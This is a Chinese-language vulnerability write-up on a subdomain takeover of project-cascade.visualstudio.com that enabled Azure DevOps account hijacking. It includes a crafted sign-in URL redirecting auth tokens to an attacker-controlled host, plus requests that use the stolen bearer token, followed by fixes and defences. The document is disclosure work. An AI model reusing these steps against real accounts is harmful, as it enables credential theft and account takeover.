挖洞经验 | 通过域名劫持实现Azure DevOps账户劫持
字数 1365 2025-08-15 21:31:23
Azure DevOps子域名劫持漏洞分析与利用
漏洞概述
本漏洞涉及微软Azure DevOps服务中的一个子域名劫持(Subdomain Takeover)漏洞,攻击者通过接管未正确配置的project-cascade.visualstudio.com子域名,进而实现Azure DevOps账户的一键劫持。
漏洞发现过程
子域名劫持检测
通过自动化测试发现project-cascade.visualstudio.com子域名的NS记录指向Azure DNS,但DNS查询返回Refused状态:
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns3-05.azure-dns.org status: [Refused]
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns2-05.azure-dns.net status: [Refused]
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns1-05.azure-dns.com status: [Refused]
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns4-05.azure-dns.info status: [Refused]
这表明该子域名在Azure DNS中的注册指向为空,可以被攻击者接管。
域名接管实施
- 使用Azure账户注册接管该子域名
- 添加两条DNS记录:
- TXT记录:
txt.project-cascade.visualstudio.com(包含POC信息) - A记录:
arec.project-cascade.visualstudio.com(指向攻击者控制的IP 3.88.203.203)
- TXT记录:
验证DNS记录:
$ dig txt txt.project-cascade.visualstudio.com @1.1.1.1
;; ANSWER SECTION:
txt.project-cascade.visualstudio.com. 10 IN TXT "Azure DNS Zone Takeover POC"
$ dig a arec.project-cascade.visualstudio.com @1.1.1.1
;; ANSWER SECTION:
arec.project-cascade.visualstudio.com. 2475 IN A 3.88.203.203
漏洞利用分析
身份验证流程分析
微软开发者网站子域通过login.microsoftonline.com进行身份校验,典型流程如下:
- 访问
app.vssps.visualstudio.com/_signin - 跳转到
login.microsoftonline.com进行身份校验 - 关键参数:
realm=app.vsaex.visualstudio.comreply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F
漏洞利用构造
构造恶意URL,将reply_to参数修改为攻击者控制的子域:
https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90
攻击流程
- 受害者访问恶意URL
- 系统跳转到正常的Microsoft登录页面
- 如果受害者已登录,系统会自动向攻击者控制的域名发送POST请求,包含身份验证token:
POST /_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F HTTP/1.1
Host: arec.project-cascade.visualstudio.com
...
id_token=<snip>&FedAuth=<snip>&FedAuth1=<snip>
账户劫持
利用获取的token,攻击者可以:
- 获取用户邮箱信息:
GET /_apis/User/User HTTP/1.1
Host: app.vsaex.visualstudio.com
Authorization: Bearer <snip just recieved bearer token>
响应包含用户邮箱:
{"descriptor":"msa.NTg0Zjc4NDAtYzc5ZC03MWU0LWJkN2ItMDZhY2Y1N2Q2OTA1","displayName":"s","mail":"<account_email>",...}
- 访问用户Azure DevOps项目:
GET /seanyeoh/_usersSettings/keys?__rt=fps&__ver=2 HTTP/1.1
Host: dev.azure.com
authorization: Bearer <snip>
潜在危害
- 完全账户劫持:攻击者可完全控制受害者Azure DevOps环境
- 邮件拦截:通过设置MX记录拦截发送到
*.project-cascade.visualstudio.com的邮件 - SSL证书欺诈:为子域名创建合法SSL证书,实施中间人攻击
- 一键点击攻击:通过精心构造的链接实现一键劫持
修复建议
- 域名重新注册:微软应重新注册
project-cascade.visualstudio.com子域名 - Token限制:限制
app.vssps.visualstudio.com中reply_to参数生成的token只能用于app.vsaex.visualstudio.com域 - DNS监控:实施子域名DNS配置监控,防止类似劫持
- 身份验证强化:增加对跳转目标域名的严格验证
防御措施
对于Azure DevOps用户:
- 警惕不明来源的visualstudio.com链接
- 使用多重身份验证保护账户
- 定期检查账户活动日志
对于企业管理员:
- 监控企业域名下的所有子域名
- 实施严格的DNS记录管理策略
- 定期进行子域名劫持漏洞扫描